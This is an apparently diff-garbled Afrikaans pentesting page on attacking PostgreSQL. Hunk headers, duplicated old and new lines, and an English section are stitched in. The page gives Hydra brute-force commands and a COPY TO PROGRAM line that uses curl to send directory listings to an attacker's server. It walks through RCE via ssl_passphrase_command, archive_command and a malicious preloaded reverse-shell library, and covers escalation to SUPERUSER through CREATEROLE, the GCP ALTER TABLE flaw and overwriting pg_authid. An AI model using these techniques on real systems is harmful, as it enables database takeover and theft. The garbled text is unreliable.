**PostgreSQL** word beskryf as 'n **objek-relasionele databasis stelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns maak dit moontlik om 'n wye verskeidenheid data tipes en operasies te hanteer, wat dit 'n veelsydige keuse maak vir ontwikkelaars en organisasies.
**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort (5433 waarskynlik) wat nie in gebruik is nie, sal gebruik.
**Verstek poort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort sal gebruik (5433 waarskynlik) wat nie in gebruik is nie.
```
PORT STATE SERVICE
5432/tcp open pgsql
@ -72,10 +72,10 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
As jy **`\list`** hardloop en 'n databasis genaamd **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS PostgreSQL-databasis** is.
As jy **`\list`** hardloop en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql databasis** is.
{% endhint %}
Vir meer inligting oor **hoe om 'n PostgreSQL-databasis te misbruik** kyk:
Vir meer inligting oor **hoe om 'n PostgreSQL databasis te misbruik** kyk:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Poortskandering**
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection`-uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@ -117,23 +117,21 @@ the server terminated abnormally before or while processing the request
#### PostgreSQL Enumeration
To enumerate PostgreSQL, you can use tools like `nmap` to scan for open ports and services running on the target system. Use the following command to scan for PostgreSQL service:
PostgreSQL kan geënumereer word deur die volgende stappe te volg:
```bash
nmap -p 5432 <target_ip>
```
#### PostgreSQL Brute Forcing
You can use tools like `Hydra` to perform brute force attacks against PostgreSQL login. Use the following command to brute force PostgreSQL login with Hydra:
```bash
hydra -L users.txt -P passwords.txt postgres://<target_ip>:5432
```
1. **Port Scanning**: Skandeer die bediener om die poorte te identifiseer waarop PostgreSQL hardloop.
2. **Banner Grabbing**: Verkry die banierinligting om die PostgreSQL-weergawe te identifiseer.
3. **Service Detection**: Identifiseer die diens deur spesifieke kenmerke te ondersoek.
4. **Database Enumeration**: Identifiseer databasisse en gebruikers binne die PostgreSQL-diens.
#### PostgreSQL Exploitation
To exploit PostgreSQL, you can use tools like `Metasploit` or manually exploit known vulnerabilities in PostgreSQL versions. Research and identify potential exploits to gain access to the target system.
PostgreSQL kan geëxploiteer word deur die volgende metodes:
1. **Brute Force-aanvalle**: Aanvalle wat gebruik maak van gereedskap soos Hydra om aan te meld by PostgreSQL met gesteelde geloofsbriewe.
2. **SQL Injection**: Gebruik van SQL-injeksie om databasisinligting te onttrek of die databasis te manipuleer.
3. **PostgreSQL UDF Exploitation**: Gebruik van PostgreSQL User Defined Functions (UDFs) vir aanvalle soos die uitvoering van afgeleë kode.
4. **File System Access**: Indien die PostgreSQL-diens toegang het tot die bediener se lêersisteem, kan dit gebruik word vir verdere aanvalle.
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -142,9 +140,9 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugwin. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer.
In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugkry. Indien dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer.
## Enumerasie van Voorregte
## Opsomming van Voorregte
### Rolle
@ -156,10 +154,10 @@ In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te v
| rolcreatedb | Rol kan databasisse skep |
| rolcanlogin | Rol kan aanteken. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word |
| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val |
| rolconnlimit | Vir rolle wat kan aanteken, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet nie |
| rolpassword | Nie die wagwoord nie (lees altyd as `********`) |
| rolconnlimit | Vir rolle wat kan aanteken, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet. |
| rolpassword | Nie die wagwoord (lees altyd as `********`) |
| rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); nul indien geen verval |
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting |
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting. |
| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes |
| oid | ID van rol |
@ -261,7 +259,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Onthou dat as jy nie 'n supergebruiker is nie, maar die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
```sql
GRANT pg_read_server_files TO username;
```
@ -305,14 +303,14 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
{% endcode %}
{% hint style="warning" %}
Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
```sql
GRANT pg_write_server_files TO username;
```
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlynstuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie omdat dit sommige binêre waardes wysig.
Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlynstuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie, omdat dit sommige binêre waardes wysig.
### Oplaai van binêre lêers
@ -324,7 +322,7 @@ Daar is egter ander tegnieke om groot binêre lêers te laai:
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -340,20 +338,20 @@ Vereiste stappe:
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Nota:** As jy nie die huidige data-gids vanaf instellings kan kry nie, kan jy die hoof PostgreSQL-weergawe deur die `SELECT version()`-vraag ondersoek en probeer om die pad te brute force. Gewone data-gidspaaie op Unix-installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone klasternaam is `main`.
2. Kry 'n relatiewe pad na die filenode wat geassosieer is met die teikentabel
**Nota:** As jy nie die huidige data-gids vanaf instellings kan kry nie, kan jy die hoof PostgreSQL-weergawe deur die `SELECT version()`-navraag kry en probeer om die pad te brute force. Gewone data-gidspaaie op Unix-installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone klasternaam is `main`.
2. Kry 'n relatiewe pad na die lêernode wat met die teikentabel geassosieer is
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
SELECT pg_relation_filepath('{TABEL_NAAM}')
```
Hierdie vraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`.
3. Laai die filenode af deur die `lo_*`-funksies
Hierdie navraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_GIDS/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`.
3. Laai die lêernode af deur die `lo_*`-funksies
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
SELECT lo_import('{PSQL_DATA_GIDS}/{RELASIE_PAD}',13337)
```
4. Kry die datatipe wat geassosieer is met die teikentabel
4. Kry die datatipe wat met die teikentabel geassosieer is
```sql
SELECT
@ -372,22 +370,22 @@ JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
WHERE pg_class.relname = '{TABEL_NAAM}';
```
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae in op 1 vir volle regte.
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die lêernode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae in op 1 vir volle regte.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
python3 postgresql_filenode_editor.py -f {LÊERNODE} --datatype-csv {DATATIPE_CSV_VAN_STAP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatipe.gif)
6. Laai die gewysigde filenode weer op deur die `lo_*`-funksies, en oorskryf die oorspronklike lêer op die skyf
6. Laai die gewysigde lêernode weer op deur die `lo_*`-funksies, en oorskryf die oorspronklike lêer op die skyf
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
SELECT lo_from_bytea(13338,decode('{BASE64_GEËDITEERDE_LÊERNODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_GIDS}/{RELASIE_PAD}')
```
7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL-vraag uit te voer
7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL-navraag uit te voer
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
@ -400,7 +398,7 @@ Jy kan ook 'n superadmin word deur die `pg_authid`-tabel te wysig. **Sien** [**d
### **RCE na program**
Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie gebruik vir RCE (voorbeeld met eksfiltrering:
Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie vir RCE gebruik (voorbeeld met eksfiltrering:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -436,13 +434,13 @@ Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-
### RCE met PostgreSQL-uitbreidings
Nadat jy uit die vorige pos **geleer** het **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
Sodra jy **geleer** het van die vorige pos **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### PostgreSQL konfigurasie lêer RCE
### PostgreSQL konfigurasie-lêer RCE
{% hint style="info" %}
Die volgende RCE-vektore is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-stellings uitgevoer kan word
@ -459,7 +457,7 @@ Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/p
Die konfigurasie-lêer het 'n paar interessante eienskappe wat tot RCE kan lei:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaatsleutel van die databasis
* `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die opdrag wat in hierdie eienskap aangedui word **uitvoer**.
* `ssl_passphrase_command = ''` As die privaatsleutel deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die opdrag wat in hierdie eienskap aangedui word **uitvoer**.
* `ssl_passphrase_command_supports_reload = off` **Indien** hierdie eienskap **aan** is, sal die **opdrag** uitgevoer word as die sleutel deur 'n wagwoord beskerm word wanneer `pg_reload_conf()` **uitgevoer** word.
Dan sal 'n aanvaller moet:
@ -474,7 +472,7 @@ Dan sal 'n aanvaller moet:
2. `ssl_passphrase_command_supports_reload = on`
6. Voer `pg_reload_conf()` uit
Tydens toetsing het ek opgemerk dat dit slegs sal werk as die **privaatsleutel lêer bevoegdhede 640** het, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is.
Tydens die toets van hierdie het ek opgemerk dat dit net sal werk as die **privaatsleutel-lêer bevoegdhede 640** het, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is.
#### **RCE met archive\_command**
@ -500,15 +498,15 @@ Hierdie aanvalvektor maak gebruik van die volgende konfigurasie-veranderlikes:
* `session_preload_libraries` -- biblioteke wat deur die PostgreSQL-bedienaar by die kliëntverbinding gelaai sal word.
* `dynamic_library_path` -- lys van gids waar die PostgreSQL-bedienaar vir die biblioteke sal soek.
Ons kan die `dynamic_library_path` waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, byvoorbeeld die `/tmp/` gids, en 'n skadelike `.so` voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuutgelaai biblioteek te laai deur dit in die `session_preload_libraries` veranderlike in te sluit.
Ons kan die `dynamic_library_path`-waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, byvoorbeeld die `/tmp/`-gids, en 'n skadelike `.so`-voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuutgelaai biblioteek te laai deur dit in die `session_preload_libraries`-veranderlike in te sluit.
Die aanvalstappe is:
1. Laai die oorspronklike `postgresql.conf` af
2. Sluit die `/tmp/` gids in die `dynamic_library_path` waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'`
3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries` waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'`
4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()` navraag
5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-dev-pakket Voorbeeldkode:
2. Sluit die `/tmp/`-gids in die `dynamic_library_path`-waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'`
3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries`-waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'`
4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()`-navraag
5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-ontwikkelingspakket Voorbeeldkode:
```c
#include <stdio.h>
@ -555,8 +553,8 @@ Kompilering van die kode:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Laai die skadelike `postgresql.conf`, geskep in stappe 2-3, af en oorskryf die oorspronklike een
7. Laai die `payload.so` van stap 5 na die `/tmp` gids
8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()` navraag te roep
7. Laai die `payload.so` van stap 5 na die `/tmp`-gids
8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()`-navraag te roep
9. By die volgende DB-verbinding sal jy die omgekeerde dopverbinding ontvang.
## **Postgres Privesc**
@ -564,9 +562,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Toekenning**
Volgens die [**dokumente**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **supergebruiker** is nie._
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **superuser** is nie._
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie supergebruikers is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie superuser is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -584,7 +582,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc na SUPERUSER
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings het om kode uit te voer** kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee:
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings om kode uit te voer** ingesamel het, kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -602,13 +600,13 @@ host all all ::1/128 trust
### **WYSIG TABEL privesc**
In [**hierdie skryfstuk**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te misbruik deur die ALTER TABLE-voorreg wat aan die gebruiker verleen is.
In [**hierdie skrywe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te misbruik deur die ALTER TABLE-voorreg wat aan die gebruiker verleen is.
Wanneer jy probeer om **'n ander gebruiker eienaar van 'n tabel te maak**, behoort jy 'n **fout** te kry wat dit voorkom, maar blykbaar het GCP daardie **opsie aan die nie-supergebruiker postgres-gebruiker** in GCP gegee:
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaartoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat beveel kan uitvoer omdat dit die toestemmings van die eienaar gebruik.
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarskapstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat opdragte kan uitvoer omdat dit die toestemmings van die eienaar gebruik.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -618,9 +616,9 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
1. Begin deur 'n nuwe tabel te skep.
2. Voeg 'n paar irrelevante inhoud by die tabel in om data vir die indeksfunksie te voorsien.
3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak.
3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak om uitgevoer te word.
4. WYSIG die eienaar van die tabel na "cloudsqladmin," wat GCP se supergebruikersrol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skul bevel moontlik maak.
5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skel bevel moontlik maak.
In PostgreSQL lyk hierdie vloei so iets:
```sql
@ -668,7 +666,7 @@ CREATE EXTENSION dblink;
```
{% endhint %}
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP-adres in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -711,13 +709,13 @@ CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
En voer dan **bevele uit**:
En dan **voer opdragte uit**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### Pas Burteforce toe met PL/pgSQL
**PL/pgSQL** is 'n **volledig uitgeligte programmeringstaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van **lusse** en ander **beheerstrukture** moontlik om programlogika te verbeter. Daarbenewens het **SQL-stellings** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie maak 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering moontlik.\
**PL/pgSQL** is 'n **volledig uitgeruste programmeringstaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van **lusse** en ander **beheerstrukture** moontlik om programlogika te verbeter. Daarbenewens het **SQL-opdragte** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie maak 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering moontlik.\
**Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se geloofsbriewe te burteforce.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
@ -727,22 +725,22 @@ En voer dan **bevele uit**:
### Privesc deur die Oorskryf van Interne PostgreSQL-tabelle
{% hint style="info" %}
Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe uitgevoer kan word deur geneste SELECT-stellings
Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe uitgevoer kan word deur geneste SELECT-opdragte
{% endhint %}
As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die PostgreSQL op skyf filenode te oorskryf wat verband hou met die interne `pg_authid`-tabel.
As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die oorskryf van die PostgreSQL op skyf filenode, wat verband hou met die interne `pg_authid`-tabel.
Lees meer oor **hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Die aanvalstappe is:
1. Verkryg die PostgreSQL-data-gids
2. Verkryg 'n relatiewe pad na die filenode wat verband hou met die `pg_authid`-tabel
2. Verkryg 'n relatiewe pad na die filenode, wat verband hou met die `pg_authid`-tabel
3. Laai die filenode af deur die `lo_*`-funksies
4. Kry die datatipe wat verband hou met die `pg_authid`-tabel
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die filenode te wysig; stel alle `rol*` booleaanse vlae op 1 vir volle regte.
6. Laai die gewysigde filenode weer op via die `lo_*`-funksies en oorskryf die oorspronklike lêer op die skyf
7. _(Opsioneel)_ Maak die in-memory tabel-cache skoon deur 'n duur SQL-navraag uit te voer
7. _(Opsioneel)_ Maak die in-memory tabel-cache skoon deur 'n duur SQL-opdrag uit te voer
8. Jy behoort nou die regte van 'n volle superadmin te hê.
## **POST**
@ -755,7 +753,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### logging
Binne die _**postgresql.conf**_ lêer kan jy postgresql logboeke aktiveer deur te verander:
Binne die _**postgresql.conf**_ lêer kan jy postgresql-logboeke aktiveer deur te verander:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -769,7 +767,7 @@ Dan, **herlaai die diens**.
### pgadmin
[pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind\
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind.\
Jy kan hulle ontsluit deur die _**decrypt**_ funksie binne die skriffie te gebruik: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
@ -779,7 +777,7 @@ string pgadmin4.db
```
### pg\_hba
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, versoekte databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg\_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of teks in duidelike taal. Dit is belangrik om te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg\_authid geënkripteer is.
@ -800,7 +798,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
